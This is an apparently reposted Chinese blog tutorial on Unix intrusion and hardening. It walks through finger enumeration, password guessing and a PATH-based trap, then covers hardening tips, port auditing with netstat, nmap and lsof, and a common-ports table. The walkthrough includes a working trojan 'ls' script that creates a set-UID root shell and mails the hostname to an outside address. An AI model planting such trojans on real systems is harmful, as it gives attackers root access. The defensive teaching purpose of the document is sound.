CNSCN安全检测[转]

CNSCN安全检测

一)远程检测工具
看到一个名为 www.xxx.com的主机与另一端点的连接或看到从它发出的e-mail甚至只是听说过xxx而发现这个主机
1)ping                www.xxx.com    常会因许多站点不能使用ping命令用到的ICMP回应,而失败
2)nslookup          www.xxx.com    为防网络失效,它总能验证一个站点是否存在
3)traceroute         www.xxx.com   可用来测试连接并且如果存在问题的话,它将显示系统是否有问题


二)看站点是否支持finger  (The finger displays information about the system users.)
[root@207 ~]$ finger
Login     Name       Tty      Idle  Login Time   Office     Office Phone
cnscn                pts/1          Mar  7 21:48 (61.51.65.137)
qc                   pts/0   12:59  Mar  7 08:46 (192.168.0.89)
root      root       tty1      19d  Feb 16 15:32
root      root       tty2       3d  Feb 16 15:36
root      root       pts/3    6:56  Mar  7 13:56 (192.168.0.111)


$finger   root@www.xxx.com
[ www.xxx.com]
Login: root                                         Name: root
Directory: /root                                   Shell: /bin/tcsh
Last login  web Apr  5   11:22  (EDT)  on  tty2


三)尝试猜测用户名
      因为多数用户名使用帐户名和常用的主机名来作为电子邮件地址,所以入侵者可以从电子邮件来得到相关信息,阅读邮件列表和新闻组并使用Web搜索引擎。
$finger   ken@buildhr.com
finger: ken : no such user

$finger yl@buildhr.com
[ www.buildhr.com]
Login:yl                                                    Name: Yang liu
Directory: /home/yl                                    Shell: /bin/tcsh
On since Sat  Apr  1  13:40  (EDT)  on  tty1  6 days  16 hours  idle
我们猜到一个帐户,太棒了!


四)猜测yl的口令
$telnet   www.xxx.com
Login: yl
Password:xxx
you have new mail
%

现在我们可以做为一个普通用户登陆了



五)现在试着猜测根用户的口令,在20次失败之后放弃,死路一条


六)看看/etc/passwd中是否用加密口令。如果有的话,我们可以通过自己的系统进行攻击
%cat  /etc/passwd
root:x:0:0:Goddess:/root:/bin/sh
....

/etc/passwd中根用户后面的口令x说明他们使用了shadow口令,又一条死胡同


七)看看根用户的$PATH变量是怎么样的
%cat  /root/.bash_profile
export  PATH="/bin:.:$PATH"

太好了,系统管理员的搜索路径中用"." , 说明如果根用户发出命令ls而且根用户当前所在目录中有叫这个名字的程序,./ls  将被执行而不是执行/bin/ls  (另一种常见错误是对/root的读甚至是写访问)


八)在/tmp中设一个陷井
在/tmp中设一个陷井,将ls, favorite-editor和other-editor的伪造版本放入其中,然后等着根用户去进入这个目录,我们甚至可能有意地通过在/tmp中产生大文件来将磁盘填满从而让根用户尽快看到/tmp

%cat > /tmp/ls
#!/bin/csh  -f
#If not root  go directory  to finish to give ls
if ( ! -o  /bin/su ) goto finish
#Copy the shell
cp  /bin/sh  .sh
#Make it set-UID  root!!!
chmod  4755  .sh
#send us e-mail  when  it happens
hostname  | Mail -s  got1    c_n_s@163.com
#Remove the Trojan  horses
/bin/rm  ls  pwd
finish:
/bin/ls  $*

%chmod  755  /tmp/ls
%cp  /tmp/ls  /tmp/vi

收到的信
From root@localhost.localdomain  Mon Mar  7 22:39:50 2005
Date: Mon, 7 Mar 2005 22:39:50 +0800
From: root < root@localhost.localdomain>
To: root@localhost.localdomain
Subject: got1
CnsLinux3
  #2
默认 CNSCN可能的攻击途径

一)匿名FTP
0)允许写入/tmp的未chroot的ftp-----------------------------------------------------------------------------------------
                                                                                                                                    |
1)没有chroot的ftp并可读取/etc/passwd                                                                              |
                                                                      |                                                             |
2)有关的web站点、新闻组、电子邮件                   |     =>  发现帐号名  ----------------------           |
                                                                      |                                                  |          |
3)用finger                                                        |                                                  |          |
                                                                                                                         |          |
                                                                                                                         |          |
                                                                      ----------------------------------------------------          |
                                                                     |                                                              |
                                                                     |                                                              |
                                                               猜测口令                                                         |
                                                                     |                                                              |
                                                                     |                                                              |
                                                              成为普通用户                                                    |
                                                                     |                                                              |
                                                                     |                                                              |
              ----------------------------------------------------------------------------------------------------------------------|
              |                                      |                                   |                                         |
  未用shadow的/etc/shadow      突破设置UID进入            使用su猜测根口令     可写入/tmp且根$PATH  
              |                                根级程序                              |                          /bin前有一个点
              |                                      |                                   |                                         |
       得到根口令                               |                                   |                                         |
              |---------------------------------------------------------------------------------------------------------------------                                                                    |
                                                                    |
                                                                成为根用户
35 CNSCN强化系统的方法

1)用隐蔽口令来防止黑客得到加密的口令从而从自己的系统上攻入,如用MD5
2)设置FTP的chroot使用户不能到达/tmp或/etc/passwd
3)不要让根用户的$PATH中包含"."
4)令所有不必要的服务停止,如finger
5)不要将用户的帐号(电子邮件)放到web站点上
6)使用尽可能复杂的口令
7)确认不存在有漏洞的set-UID的程序,将软件升级到它的最新版本,除根用户外尽量让程序来为帐户set-UID。寻找可以替代set-UID的程序的东西(这将增加安全性)
8)雇佣一个很好的安全顾问来检查安全性并进行穿透测试
9)检测CGI的安全性,因为CGI程序通常存在隐蔽的安全性
拇指朝下 网络端口安全

1)除了防火墙的单环保护外还应有“安全环组”的概念,这样即使黑客穿过了一个环,还会有另一个环阻止他

2)用netstat  -atuv检测正在使用的端口
-bash-2.05b$ netstat  -atuv  | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q      Local Address            Foreign Address           State      
tcp        0      0                 *:32768                   *:*                     LISTEN      
tcp        0      0                  *:7937                    *:*                     LISTEN      
tcp        0      0              CnsLinux3:32769           *:*                     LISTEN      
tcp        0      0              CnsLinux3:32770           *:*                     LISTEN      

他们中大部分通过inetd守护进程控制的,可通过过修改/etc/xinetd.d内的amanda    chargen      daytime      echo-udp  imap   ipop3        kshell  rexec   rsync     telnet  time-udp   amandaidx  chargen-udp  daytime-udp  eklogin   imaps  klogin       ktalk   rlogin  services  tftp  amidxtape  cups-lpd     echo         gssftp    ipop2  krb5-telnet  pop3s   rsh     sgi_fam   time 来实现禁止和开启。如vi /etc/xinetd.d/telnet中的disable = no  为disable = yes  来实现由充许状态为disiable禁用状态,而后[root@CnsLinux3 xinetd.d]# /etc/rc.d/init.d/xinetd  restart即可使设置其生效

3)启动服务设置
#ntsysv

4)取消finger和rsh
[root@CnsLinux3 xinetd.d]# chmod  -x  /usr/bin/finger
[root@CnsLinux3 xinetd.d]# mv  /usr/bin/finger  /usr/bin/ncmd_finger

[root@CnsLinux3 xinetd.d]# mv  /usr/bin/rsh   /usr/bin/ncmd_rsh
[root@CnsLinux3 xinetd.d]# chmod -x  /usr/bin/ncmd_rsh

================================================================
5.8. 校验哪些端口正在监听

配置了网络服务之后,关注一下哪些端口在监听系统的网络接口这一点很重要。任何打开的端口都可能是入侵的证明。

要列举正在监听网络的端口,有两种基本方法。一种不太可靠的方法是通过键入 netstat -an 或 lsof -i 之类的命令来查询网络堆栈。这种方法之所以不太可靠是因为这些程序不连接网络上的机器,而是查看系统上在运行什么。因此,它们频繁成为攻击者的替换目标。怪客在打开了未经授权的网络端口后,就以这种方法来企图掩盖他们的踪迹。

更可靠的方法是使用 nmap 之类的端口扫描器来检查哪些端口正在监听网络。

以下从控制台发出的命令会判定哪些端口在监听来自网络上的 TCP 连接:

nmap -sT -O localhost该命令的输出和以下相似:

Starting nmap V. 3.00 ( www.insecure.org/nmap/ )Interesting ports on localhost.localdomain (127.0.0.1):(The 1596 ports scanned but not shown below are in state: closed)Port       State       Service22/tcp     open        ssh111/tcp    open        sunrpc515/tcp    open        printer834/tcp    open        unknown6000/tcp   open        X11Remote OS guesses: Linux Kernel 2.4.0 or Gentoo 1.2 Linux 2.4.19 rc1-rc7)Nmap run completed -- 1 IP address (1 host up) scanned in 5 seconds该输出显示了由于 sunrpc 服务的存在,系统正在运行 portmap。然而,端口834上还有一个神秘服务。要查看一下该端口是否和任何已知服务相关,键入:

cat /etc/services | grep 834该命令没有返回任何输出。这表明虽然该端口是在保留范围内(即从0到1023内),并且需要根权限才能打开,它并没有关联任何已知服务。

下一步,检查使用 netstat 或 lsof 的端口的信息。要使用 netstat 检查端口834,使用以下命令:

netstat -anp | grep 834该命令返回以下输出:

tcp   0    0 0.0.0.0:834    0.0.0.0:*   LISTEN   653/ypbind这个开放端口在 netstat 中存在,这一点比较令人安慰,因为如果怪客在被攻击的系统上暗中打开一个端口,他们很可能不会让这个端口使用该命令被暴露出来。还有,[p] 选项揭示了打开这个端口的进程 id(PID)。在这个例子中,被打开的端口属于 ypbind(NIS),这是和 portmap 服务一起进行的 RPC 服务。

lsof 命令揭示了相似的信息,因为它也能够链接开放端口和服务:

lsof -i | grep 834以下是这个命令中和讨论有关的输出部分:

ypbind      653        0    7u  IPv4       1319                 TCP *:834 (LISTEN)ypbind      655        0    7u  IPv4       1319                 TCP *:834 (LISTEN)ypbind      656        0    7u  IPv4       1319                 TCP *:834 (LISTEN)ypbind      657        0    7u  IPv4       1319                 TCP *:834 (LISTEN)这些工具揭示了大量关于运行在机器上的服务状态的信息。它们很灵活,能够提供关于网络服务和配置的许多信息。强烈推荐你阅读 lsof、netstat、nmap 和 services 的说明书页。

==============================================================
附录 C. 常用端口
下面的表格中列举了包括在红帽企业 Linux 中的服务、守护进程、和程序所使用的最常见的通信端口。该列表还可以在 /etc/services 文件中找到。要查看由互联网号码分派局(IANA)制定的“著名的已注册动态端口”官方列表,请参考以下 URL:


http://www.iana.org/assignments/port-numbers


注记
  “层”是指服务或协议在交通层上使用 TCP 还是 UDP。若没有列举,这个服务或协议就两者都使用。


端口号码 / 层 名称 注释
1  tcpmux  TCP 端口服务多路复用  
5  rje  远程作业入口  
7  echo  Echo 服务  
9  discard  用于连接测试的空服务  
11  systat  用于列举连接了的端口的系统状态  
13  daytime  给请求主机发送日期和时间  
17  qotd  给连接了的主机发送每日格言  
18  msp  消息发送协议  
19  chargen  字符生成服务;发送无止境的字符流  
20  ftp-data  FTP 数据端口  
21  ftp  文件传输协议(FTP)端口;有时被文件服务协议(FSP)使用  
22  ssh  安全 Shell(SSH)服务  
23  telnet  Telnet 服务  
25  smtp  简单邮件传输协议(SMTP)  
37  time  时间协议  
39  rlp  资源定位协议  
42  nameserver  互联网名称服务  
43  nicname  WHOIS 目录服务  
49  tacacs  用于基于 TCP/IP 验证和访问的终端访问控制器访问控制系统  
50  re-mail-ck  远程邮件检查协议  
53  domain  域名服务(如 BIND)  
63  whois++  WHOIS++,被扩展了的 WHOIS 服务  
67  bootps  引导协议(BOOTP)服务;还被动态主机配置协议(DHCP)服务使用  
68  bootpc  Bootstrap(BOOTP)客户;还被动态主机配置协议(DHCP)客户使用  
69  tftp  小文件传输协议(TFTP)  
70  gopher  Gopher 互联网文档搜寻和检索  
71  netrjs-1  远程作业服务  
72  netrjs-2  远程作业服务  
73  netrjs-3  远程作业服务  
73  netrjs-4  远程作业服务  
79  finger  用于用户联系信息的 Finger 服务  
80  http  用于万维网(WWW)服务的超文本传输协议(HTTP)  
88  kerberos  Kerberos 网络验证系统  
95  supdup  Telnet 协议扩展  
101  hostname  SRI-NIC 机器上的主机名服务  
102  iso-tsap  ISO 开发环境(ISODE)网络应用  
105  csnet-ns  邮箱名称服务器;也被 CSO 名称服务器使用  
107  rtelnet  远程 Telnet  
109  pop2  邮局协议版本2  
110  pop3  邮局协议版本3  
111  sunrpc  用于远程命令执行的远程过程调用(RPC)协议,被网络文件系统(NFS)使用  
113  auth  验证和身份识别协议  
115  sftp  安全文件传输协议(SFTP)服务  
117  uucp-path  Unix 到 Unix 复制协议(UUCP)路径服务  
119  nntp  用于 USENET 讨论系统的网络新闻传输协议(NNTP)  
123  ntp  网络时间协议(NTP)  
137  netbios-ns  在红帽企业 Linux 中被 Samba 使用的 NETBIOS 名称服务  
138  netbios-dgm  在红帽企业 Linux 中被 Samba 使用的 NETBIOS 数据报服务  
139  netbios-ssn  在红帽企业 Linux 中被 Samba 使用的NET BIOS 会话服务  
143  imap  互联网消息存取协议(IMAP)  
161  snmp  简单网络管理协议(SNMP)  
162  snmptrap  SNMP 的陷阱  
163  cmip-man  通用管理信息协议(CMIP)  
164  cmip-agent  通用管理信息协议(CMIP)  
174  mailq  MAILQ  
177  xdmcp  X 显示管理器控制协议  
178  nextstep  NeXTStep 窗口服务器  
179  bgp  边界网络协议  
191  prospero  Cliffod Neuman 的 Prospero 服务  
194  irc  互联网中继聊天(IRC)  
199  smux  SNMP UNIX 多路复用  
201  at-rtmp  AppleTalk 选路  
202  at-nbp  AppleTalk 名称绑定  
204  at-echo  AppleTalk echo 服务  
206  at-zis  AppleTalk 区块信息  
209  qmtp  快速邮件传输协议(QMTP)  
210  z39.50  NISO Z39.50 数据库  
213  ipx  互联网络分组交换协议(IPX),被 Novell Netware 环境常用的数据报协议  
220  imap3  互联网消息存取协议版本3  
245  link  LINK  
347  fatserv  Fatmen 服务器  
363  rsvp_tunnel  RSVP 隧道  
369  rpc2portmap  Coda 文件系统端口映射器  
370  codaauth2  Coda 文件系统验证服务  
372  ulistproc  UNIX Listserv  
389  ldap  轻型目录存取协议(LDAP)  
427  svrloc  服务位置协议(SLP)  
434  mobileip-agent  可移互联网协议(IP)代理  
435  mobilip-mn  可移互联网协议(IP)管理器  
443  https  安全超文本传输协议(HTTP)  
444  snpp  小型网络分页协议  
445  microsoft-ds  通过 TCP/IP 的服务器消息块(SMB)  
464  kpasswd  Kerberos 口令和钥匙改换服务  
468  photuris  Photuris 会话钥匙管理协议  
487  saft  简单不对称文件传输(SAFT)协议  
488  gss-http  用于 HTTP 的通用安全服务(GSS)  
496  pim-rp-disc  用于协议独立的多址传播(PIM)服务的会合点发现(RP-DISC)  
500  isakmp  互联网安全关联和钥匙管理协议(ISAKMP)  
535  iiop  互联网内部对象请求代理协议(IIOP)  
538  gdomap  GNUstep 分布式对象映射器(GDOMAP)  
546  dhcpv6-client  动态主机配置协议(DHCP)版本6客户  
547  dhcpv6-server  动态主机配置协议(DHCP)版本6服务  
554  rtsp  实时流播协议(RTSP)  
563  nntps  通过安全套接字层的网络新闻传输协议(NNTPS)  
565  whoami  whoami  
587  submission  邮件消息提交代理(MSA)  
610  npmp-local  网络外设管理协议(NPMP)本地 / 分布式排队系统(DQS&#
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值